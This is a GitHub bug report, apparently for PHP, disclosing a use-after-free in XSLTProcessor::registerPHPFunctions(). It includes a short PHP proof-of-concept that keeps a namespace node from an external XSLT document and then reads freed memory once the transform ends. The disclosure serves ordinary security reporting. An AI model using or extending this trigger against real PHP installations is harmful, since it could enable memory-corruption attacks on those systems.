Skip to content

UAF via XSLTProcessor::registerPHPFunctions() #22621

Description

@iluuu1994

Description

Originally reported by @ExPatch-LLC.

<?php
// external.xml: <root xmlns:custom="urn:custom"><data>secret</data></root>

$stored_ns = null;

function capture_ns($nodes) {
    global $stored_ns;
    // $nodes contains DOMNameSpaceNode from external document
    if (is_array($nodes)) {
        foreach ($nodes as $node) {
            if ($node instanceof DOMNameSpaceNode) {
                $stored_ns = $node;  // retain reference
            }
        }
    }
    return "captured";
}

$xsl = new DOMDocument();
$xsl->loadXML('<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
    <result>
      <xsl:value-of select="php:function(
          \'capture_ns\',
          document(\'external.xml\')/*/namespace::*
      )"/>
    </result>
  </xsl:template>
</xsl:stylesheet>');

$doc = new DOMDocument();
$doc->loadXML('<input/>');

$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStylesheet($xsl);
$result = $proc->transformToXml($doc);
// xsltFreeTransformContext() has now freed the external document

// All three accesses dereference freed memory:
var_dump($stored_ns->parentNode);    // freed 120B element node
var_dump($stored_ns->localName);     // freed 1048B dict string storage
var_dump($stored_ns->ownerDocument); // freed 176B xmlDoc structure

PHP Version

-

Operating System

No response

Metadata

Metadata

Assignees

Type

No type

Fields

No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions